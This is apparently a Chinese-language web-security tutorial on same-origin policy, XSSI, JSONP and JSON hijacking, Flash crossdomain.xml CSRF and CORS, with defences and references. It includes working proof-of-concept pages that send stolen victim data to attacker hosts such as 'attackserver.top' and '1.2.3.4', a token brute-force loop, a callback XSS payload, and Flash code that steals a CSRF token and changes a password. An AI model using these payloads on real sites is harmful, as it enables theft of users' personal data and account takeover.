0x00 同源策略(SOP)和跨域
SOP:
URL | Result | Reason |
http://store.company.com/dir2/other.html | Success | – |
http://store.company.com/dir/inner/another.html | Success | – |
https://store.company.com/secure.html | Failure | Different protocol |
http://store.company.com:81/dir/etc.html | Failure | Different port |
http://news.company.com/dir/other.html | Failure | Different host |
<script>允许跨域加载资源
所有带src或href属性的标签以及部分其他标签可以跨域:
<script src="..."></script> <img src="..."> <video src="..."></video> <audio src="..."></audio> <embed src="..."> <frame src="..."> <iframe src="..."></iframe> <link rel="stylesheet" href="..."> <applet code="..."></applet> <object data="..." ></object> @font-face可以引入跨域字体。 <style type="text/css"> @font-face { src: url("http://developer.mozilla.org/@api/deki/files/2934/=VeraSeBd.ttf"); } </style>
SOP和CORS,都是浏览器阻止了响应,而非拦截请求。
0x01 XSSI
Cross-Site Scrite Inclusion
传统的XSSI攻击场景:恶意页面B使用script标签包含了目标网站A用来储存敏感数据的信息源C(可能是动态脚本、文件或响应),当攻击者引导受害者访问B时,由于受害者此时在A处于登录态,B可以轻松获取C中包含的受害者的敏感信息。
0. 静态的JavaScript(常规XSSI)
<html> <head> <title>Regular XSSI</title> <script src="https://www.vulnerable-domain.tld/script.js"></script> </head> <body> <script> alert(JSON.stringify(keys[0])); </script> </body> </html>
//直接访问该js即可获取敏感信息,但一般都是攻击认证后包含敏感信息的js
1. 动态JavaScript
利用网上的代码作为例子:敏感数据在局部变量,通过重写函数窃取
(function(){ var token = getToken(); doSomeThing(token); })(); function getToken(){ len = 16 || 32; var $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz012345678'; var maxPos = $chars.length; var pwd = ''; for (i = 0; i < len; i++) { pwd += $chars.charAt(Math.floor(Math.random() * maxPos)); } return pwd; }
重写doSomeThing()
<!--恶意页面--> <html> <head> <title>XSSI Attack</title> <script type="text/javascript"> window.data = ''; function doSomeThing(d){ window.data = d; } </script> </head> <body> <h2>XSSI Attack</h2> <p id="leaked_content"></p> <script type="text/javascript" src="http://192.168.10.130:81/secret.js"></script> <script type="text/javascript" src="jquery-3.3.1"></script> <script type="text/javascript"> $('#leaked_content').text(window.data); </script> </body> </html>
更多全局变量/函数/功能参数/原型链的情况可以参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/
2. 非JavaScript
ie bug(<10):
为了防止js错误信息跨域泄漏,对于外部加载的js文件,现在主流的浏览器只有固定的错误信息,比如“script error”,但是在ie9与ie10,情况不一定如此。
一般来说,在外部js发生语法错误的情况下,浏览器只会提供固定的错误信息,但是当在runtime发生错误的情况下,浏览器会提供详细的错误信息。比如”foo 未定义”之类的,某些浏览器一旦允许外域js回复详细的错误信息,就会导致信息泄漏。
就是说,当某个网页的内容能被js识别为javascript格式的话,那么就可能通过错误信息获取到目标的内容。
#!html <SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT> <!-- load target CSV --> <SCRIPT src="(target data's URL)"></SCRIPT>
出现这种情况的原因在于,浏览器将目标CSV文件内容识别为JavaScript,其中age被识别为某个未定义的JS变量。当为这种情况的时候,浏览器就允许页面捕捉来自不同网页的错误信息。
utf16编码(ie<10):
1)使用script标签的charset属性将包含的文件编码为UTF-16,其目的在于强制文件的所有内容连为一体,变为一个未定义的Javascript变量。然后通过在window域内使用onerror捕获错误信息(此错误信息一定为【已编码的文件内容】 is not defined),再进行解码即可。
2)倘若敏感文件中有我们能够操控的字段,我们就可以利用JS的语法来构造函数或多行字符串变量以窃取可控字段之间的内容。
#!html <!-- set an error handler --> <SCRIPT>window.onerror = function(err) {alert(err)}</SCRIPT> <!-- load target JSON --> <SCRIPT src="(target data's URL)" charset="UTF-16BE"></SCRIPT>
Harmony proxy bug in Firefox / Chrome
Harmony是一个ECMAScript 6中的新功能 (6] ,类似于java的反射类,其中定义了对于对象属性的查找,分配,函数调用,在我们针对这些新特性的研究过程中发现该功能可以用于xssi的攻击中。
#!html <!-- set proxy handler to window.__proto__ --> <SCRIPT> var handler = { has: function(target, name) {alert("data=" + name); return true}, get: function(target, name) {return 1} }; window.__proto__ = new Proxy({}, handler); </SCRIPT> <!-- load target CSV --> <SCRIPT src="(target data's URL)"></SCRIPT>
更多详细内容参考:https://www.mi1k7ea.com/2020/01/04/浅析XSSI漏洞/
3. 通过响应码差异获取信息
onload/onerror,window.onerror
在收到一个非2XX的响应时,会执行onerror函数,否则就会执行onload函数
需要具备以下条件:
- 不返回’X-Content-Type-Options:nosniff’HTTP头部,除非内容类型是JavaScript。
- 必须响应GET请求。
- 状态码:200响应表示成功,非200响应表示失败。
- 该信息非公开。
最令人担忧的是, 除了要求1中的JavaScript外,没有提到内容类型。因此,此攻击适用于XML,JSON,图像或任何其他内容(据我所知)。
防御
1. X-Content-Type-Options设置为nosniff
2. 不要将敏感数据(session,token等)放在javascript文件中, 也不要放在jsonp中
3. 禁止get
4. 加token
5. 自定义xhr/http请求
0x02 jsonp,json劫持
JSON with Padding:基于 JSON 格式的为解决跨域请求资源而产生的解决方案
ajax无法跨域读取响应
script标签,img标签,iframe标签等,可以请求第三方的资源(不受同源策略限制)
使用JSONP模式来请求数据的时候,服务端返回的是一段可执行的JavaScript代码
所以把请求的数据当作一个函数的参数,并且这个函数在客户端存在的话,就可以实现跨域传送数据。
而且JSON被JS原生支持,所以在客户端可以随意处理这种格式的数据;
要点就是允许用户传递一个callback参数给服务端,然后服务端返回数据时会将这个callback参数值作为函数名来包裹住JSON数据,这样客户端就可以随意定制自己的函数来自动处理返回数据了。
参数名也常见有cb、jsoncb、call、jsoncall、cback、func、function、call、jsonp、jsonpcallback
利用网上的代码作例子:
<%@ page pageEncoding="utf-8" contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>跨域测试</title> <script src="js/jquery-1.7.2.js"></script> <script> //回调函数 function showData (result) { var data = JSON.stringify(result); //json对象转成字符串 $("#text").val(data); } $(document).ready(function () { $("#btn").click(function () { //向头部输入一个脚本,该脚本发起一个跨域请求 $("head").append("<script src='http://localhost:9090/student?callback=showData'><\/script>"); }); }); </script> </head> <body> <input id="btn" type="button" value="跨域获取数据" /> <textarea id="text" style="width: 400px; height: 100px;"> </textarea> </body> </html> 后端: protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setCharacterEncoding("UTF-8"); response.setContentType("text/html;charset=UTF-8"); //数据 List<Student> studentList = getStudentList(); JSONArray jsonArray = JSONArray.fromObject(studentList); String result = jsonArray.toString(); //前端传过来的回调函数名称 String callback = request.getParameter("callback"); //用回调函数名称包裹返回数据,这样,返回数据就作为回调函数的参数传回去了 result = callback + "(" + result + ")"; response.getWriter().write(result); }
//代码来源:https://www.cnblogs.com/hfultrastrong/p/9930770.html
jquery封装ajax实现跨域
$.ajax dataType : "jsonp", // 返回的数据类型,设置为JSONP方式 jsonp : 'callback', //指定一个查询参数名称来覆盖默认的 jsonp 回调参数名 callback jsonpCallback: 'handleResponse', //设置回调函数名 $.getJSON() $.getJSON("https://api.xxx.com/v2/book/search?q=javascript&count=1&callback=?", function(data){ console.log(data); });
还是用网上的代码作例子:
public partial class WebForm2 : System.Web.UI.Page { protected void Page_Load(object sender, EventArgs e) { string callback = Request["callback"]; string v1="1"; string v2="2"; string response = "{\"value1\":\"" + v1 + "\",\"value2\":\"" + v2 + "\"}"; string call = callback + "(" + response + ")"; Response.Write(call); Response.End(); } } 前端: <%@ Page Language="C#" AutoEventWireup="true" CodeBehind="WebForm1.aspx.cs" Inherits="WebApp.WebForm1" %><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" ><head runat="server"><script src="jquery-1.7.1.min.js" type="text/javascript"></script><script type="text/javascript"> function aa() { $.ajax({ url: "http://localhost:12079/WebForm2.aspx", data: "p1=1&p2=2&callback=?", type: "post", processData: false, timeout: 15000, dataType: "jsonp", // not "json" we'll parse jsonp: "jsonpcallback", success: function(result) { alert(result.value1); } }); } </script> <title></title></head><body> <form id="form1" runat="server"> <div> </div> </form> <p> <input id="Button1" type="button" value="button" onclick="aa()" /></p></body></html>
//代码来源:https://www.w3cschool.cn/json/4z2r1plk.html
jsonp方式不支持POST方式跨域请求,就算指定成POST方式,会自动转为GET方式
获取敏感数据用alert证明即可,也可以用ajax或new Image().src回传数据:
<script>function getdata0(data){ //alert(v.name); var xmlhttp = new XMLHttpRequest(); var url = "http://1.2.3.4/" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); }</script><script src="http://www.xxx.com/getuserinfo.php?callback=getdata0"></script>
<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>JSONP Exploit</title></head><body><script>function jsoncallback(json){new Image().src="http://127.0.0.1/jsonp/" + JSON.stringify(json)alert(JSON.stringify(json))}</script><script src="http://www.xxx.com/getuserinfo.php?callback=jsoncallback"></script></body></html>
需要注意的是Content-Type和X-Content-Type-Options头,如果在API请求的响应标头中,X-Content-Type-Options设置为nosniff,则必须将Content-Type设置为JavaScript(text/javascript,application/javascript,text/ecmascript等)来在所有浏览器上生效。 这是因为通过在响应中包含回调,响应不再是JSON,而是JavaScript。
注意callback xss
严格定义 Content-Type: application / json
比如在 IE6、7 等版本时请求的 URL 文件后面加一个 /x.html 就可以解析 html ( http://127.0.0.1/getuserinfo.php/x.html?callback=<script>alert(/xss/)</script>
过滤 callback 以及 JSON 数据输出
utf7 xss
Content-Type: application / json;charset=utf-8
JSON劫持:
漏洞页面: http://www.xxx.com/getuserinfo.php 页面返回: {"Id":1,"Name":test,"coin":111111} POC: <script type="text/javascript">('coin', function(obj) { var req = new XMLHttpRequest(); var objString = ""; for (fld in this) { objString += fld + ": " + this[fld] + ", "; } req.open("GET", "http://attackserver.top/?json=" +escape(objString),true); } req.send(null); );</script><script type="text/javascript" src="http://www.xxx.com/getuserinfo.php"></script>
主要就是利用Object.prototype.__defineSetter__
防御
1. 验证 HTTP Referer
2. 在请求中添加 csrfToken 并在后端进行验证
3. JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )
绕过
1. referer空跨协议绕过(iframe javascript),
<iframe src="javascript:'<script>function JSON(o){alert(o.userinfo.userid);}</script><script src=http://www.xxx.com/login.php?calback=JSON></script>'"></iframe>
2. referer只检测包含关键词(?qq.com/www.qq.com.attack.com)
3. 爆破token
function _Callback(o){
alert(o.items[0].uin);
}
for(i=17008;i<17009;i++){ //暴力循环调用
getJSON(“http://r.qzone.qq.com/cgi-bin/tfriend/friend_show_qqfriends.cgi?uin=1111111&g_tk=”+i);
}
案例:
https://www.xxx.com/mobile/cart.php?act=check_cart_data&callback=jQuery111108243627011303358_1575958916369&_=1575958916370
POC:
<script> function jQuery111108243627011303358_1575958916369(jc){ alert(JSON.stringify("userid: "+jc.data.delivery_to.user_id+"|mobie: "+jc.data.delivery_to.mobile+"|name: "+jc.data.delivery_to.consignee+"|address:"+jc.data.delivery_to.address)) } </script> <script src="https://www.xxx.com/mobile/cart.php?act=check_cart_data&callback=jQuery111108243627011303358_1575958916369&_=1575958916370"></script>
0x03 flash跨域
位于www.a.com域中的SWF文件要访问www.b.com的文件时,SWF首先会检查b服务器目录下是否有crossdomain.xml文件,如果没有,则访问不成功;若crossdomain.xml文件存在,且设置了允许www.a.com域访问,那么通信正常。
常规的crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <allow-access-from domain="www.xxx.com" /> <allow-access-from domain="*.xxx.com" /> <allow-access-from domain="1.2.3.4" /> </cross-domain-policy>
有安全隐患的crossdomain.xml:
<?xml version="1.0"?> <cross-domain-policy> <site-control permitted-cross-domain-policies="all" /> <allow-access-from domain="*" /> <allow-http-request-headers-from domain="*" headers="*"/> </cross-domain-policy>
如果符合下面3个条件,就可能存在crossdomain.xml引起的跨域漏洞:
1. 目标网站的根节点下存在crossdomain.xml文件。比如:www.xxx.com/crossdomain.xml
2. crossdomain.xml的配置不规范,如*
3. 目标网站上存在敏感数据或者可以执行敏感操作
1)信息窃取
见案例
1)Flash csrf
一般用于绕过一些特定情形
【1】绕referer、origin
使其为空(null)
【2】绕crossdomain.xml名单限制
目标站点的crossdomain.xml中domain设置并不为*,而是其他域名;
搜索几个白名单域名中的子域名,寻找可上传文件的域名,如victim.com中允许上传图片文件,但校验了文件后缀名和Content-Type;
攻击者创建恶意Flash文件,并修改后缀名为jpg,然后通过篡改Content-Type将其上传到victim.com中;
获取到上传文件的地址后,攻击者使用类型为application/x-shockwave-flash的object标签将文件嵌入到攻击者服务器中,如attacker.com;
受害者访问了victim.com,然后在同一浏览器中被诱使访问attacker.com,触发了攻击者上传的恶意Flash,从而可使攻击者窃取CSRF的token或目标站点页面的敏感信息,实现CSRF攻击;
网上找了一个dvwa高级别csrf改密码的例子,让受害者访问恶意swf,进而篡改密码,利用主要就多了获取token这一步骤:
//获取当前页面user_token var targetURL:String = "http://192.168.43.201/dvwa/vulnerabilities/csrf/index.php"; var request:URLRequest = new URLRequest(targetURL); request.method = URLRequestMethod.GET; request.data = ""; sendToURL(request); var loader:URLLoader=new URLLoader(); loader.addEventListener(Event.COMPLETE,completeHandler); function completeHandler(event:Event):void{ var user_token:String = loader.data.match("user_token' value='(.*?)'")[1]; //将token发回 //var targetURL2:String = "http://a.com/gettoken.php"; //var request2:URLRequest = new URLRequest(targetURL2); //request2.method = URLRequestMethod.POST; //request2.data = "user_token=" + user_token; //sendToURL(request2); //发起CSRF攻击,篡改密码 var request3:URLRequest = new URLRequest(targetURL); request3.method = URLRequestMethod.GET; request3.data = "password_new=hacker&password_conf=hacker&Change=Change&user_token=" + user_token; sendToURL(request3); } loader.load(request);
//代码来源:https://www.mi1k7ea.com/2019/07/28/Flash型CSRF总结/
【3】flash 307 csrf
crossdomain.xml如果不符合会阻止跨域请求的发送。
防御
制定信任域
案例
假设存在getuserinfo页面,利用工具:https://github.com/nccgroup/CrossSiteContentHijacking
如果非crossdomain.xml配置允许的域名,如
则跨域请求不会发出
0x04 CORS
参考:
CORS基础:http://www.lsablog.com/networksec/penetration/talk-about-sop-cors-csp/
CORS进阶利用:https://www.lsablog.com/networksec/penetration/advanced-cors-attack/
CORS配置不符合则阻止读取响应
0x05 参考资料
https://wooyun.js.org/drops/XSSI%E6%94%BB%E5%87%BB%E5%88%A9%E7%94%A8.html
https://www.anquanke.com/post/id/83014
https://paper.tuisec.win/detail/98dfd76962c516f
https://www.hurricanelabs.com/blog/a-new-xssi-vector-or-the-untold-merits-of-nosniff
http://blog.knownsec.com/2015/03/jsonp_security_technic/
https://www.leavesongs.com/HTML/sina-jsonp-hijacking-csrf-worm.html
https://www.anquanke.com/post/id/152339
https://www.freebuf.com/articles/web/37432.html
https://www.freebuf.com/articles/web/35353.html
https://gh0st.cn/archives/2018-03-22/1
https://www.scip.ch/en/?labs.20160414
https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=43011&highlight=flash
https://www.mi1k7ea.com/2019/07/28/Flash型CSRF总结/